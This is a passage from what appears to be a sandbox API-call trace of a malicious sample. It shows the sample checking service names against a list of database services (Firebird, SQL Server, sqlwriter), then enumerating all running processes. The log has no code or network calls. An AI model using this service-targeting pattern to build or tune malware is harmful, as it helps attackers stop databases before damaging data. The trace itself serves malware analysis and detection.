[0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0116.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0116.206] lstrlenW (lpString="Schedule") returned 8 [0116.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0116.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0116.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0116.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0116.207] lstrlenW (lpString="SecurityHealthService") returned 21 [0116.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0116.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0116.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0116.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0116.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0116.207] lstrlenW (lpString="SENS") returned 4 [0116.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0116.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0116.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0116.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0116.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0116.207] lstrlenW (lpString="ShellHWDetection") returned 16 [0116.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0116.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0116.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0116.207] lstrlenW (lpString="Spooler") returned 7 [0116.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0116.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0116.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0116.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0116.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0116.207] lstrlenW (lpString="sppsvc") returned 6 [0116.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0116.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0116.207] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0116.207] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0116.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0116.208] lstrlenW (lpString="SSDPSRV") returned 7 [0116.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0116.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0116.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0116.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0116.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0116.208] lstrlenW (lpString="StateRepository") returned 15 [0116.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0116.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0116.208] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0116.208] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0116.208] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38d3288 | out: hHeap=0x4b0000) returned 1 [0116.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0116.231] Process32FirstW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.232] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.232] lstrlenW (lpString="System") returned 6 [0116.233] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.233] lstrlenW (lpString="smss.exe") returned 8 [0116.234] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.234] lstrlenW (lpString="csrss.exe") returned 9 [0116.234] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.235] lstrlenW (lpString="wininit.exe") returned 11 [0116.235] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.236] lstrlenW (lpString="csrss.exe") returned 9 [0116.236] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.236] lstrlenW (lpString="winlogon.exe") returned 12 [0116.236] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.171] lstrlenW (lpString="services.exe") returned 12 [0117.171] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.172] lstrlenW (lpString="lsass.exe") returned 9 [0117.172] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.173] lstrlenW (lpString="svchost.exe") returned 11 [0117.173] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.173] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.174] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.174] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.174] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.175] lstrlenW (lpString="svchost.exe") returned 11 [0117.175] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.175] lstrlenW (lpString="dwm.exe") returned 7 [0117.176] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.176] lstrlenW (lpString="svchost.exe") returned 11 [0117.176] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.177] lstrlenW (lpString="svchost.exe") returned 11 [0117.177] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.178] lstrlenW (lpString="svchost.exe") returned 11 [0117.178] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.217] lstrlenW (lpString="svchost.exe") returned 11 [0117.217] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.217] lstrlenW (lpString="svchost.exe") returned 11 [0117.218] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.218] lstrlenW (lpString="svchost.exe") returned 11 [0117.218] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.219] lstrlenW (lpString="svchost.exe") returned 11 [0117.219] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.220] lstrlenW (lpString="svchost.exe") returned 11 [0117.220] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.220] lstrlenW (lpString="svchost.exe") returned 11 [0117.220] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.221] lstrlenW (lpString="svchost.exe") returned 11 [0117.221] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.222] lstrlenW (lpString="spoolsv.exe") returned 11 [0117.222] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.222] lstrlenW (lpString="svchost.exe") returned 11 [0117.222] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.223] lstrlenW (lpString="audiodg.exe") returned 11 [0117.223] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0117.224] lstrlenW (lpString="sihost.exe") returned 10 [0117.224] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.224] lstrlenW (lpString="svchost.exe") returned 11 [0117.224] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.225] lstrlenW (lpString="taskhostw.exe") returned 13 [0117.225] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.225] lstrlenW (lpString="explorer.exe") returned 12 [0117.225] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.226] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0117.226] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0117.233] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0117.234] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0117.253] lstrlenW (lpString="Memory Compression") returned 18 [0117.253] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0117.253] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0117.253] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0117.254] lstrlenW (lpString="SearchUI.exe") returned 12 [0117.254] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0117.255] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0117.255] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.255] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0117.255] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0117.256] lstrlenW (lpString="pending.exe") returned 11 [0117.256] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0117.257] lstrlenW (lpString="bug workers.exe") returned 15 [0117.257] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0117.258] lstrlenW (lpString="succeed.exe") returned 11 [0117.258] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0117.259] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0117.259] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0117.260] lstrlenW (lpString="bookings.exe") returned 12 [0117.260] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0117.261] lstrlenW (lpString="tramadol for.exe") returned 16 [0117.261] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0117.261] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0117.262] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0117.262] lstrlenW (lpString="starter detection.exe") returned 21 [0117.262] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0117.263] lstrlenW (lpString="unified aus.exe") returned 15 [0117.263] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0117.265] lstrlenW (lpString="taiwan registration.exe") returned 23 [0117.265] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0117.266] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0117.266] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0117.267] lstrlenW (lpString="headlines.exe") returned 13 [0117.267] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0117.267] lstrlenW (lpString="ash-method.exe") returned 14 [0117.267] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0117.300] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0117.300] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0117.301] lstrlenW (lpString="programmes officially.exe") returned 25 [0117.301] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0117.301] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0117.301] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0117.302] lstrlenW (lpString="george-depending.exe") returned 20 [0117.302] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0117.303] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0117.303] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0117.303] lstrlenW (lpString="repeat go.exe") returned 13 [0117.303] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0117.304] lstrlenW (lpString="showcase.exe") returned 12 [0117.304] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0117.354] lstrlenW (lpString="3dftp.exe") returned 9 [0117.354] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0117.356] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0117.356] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, 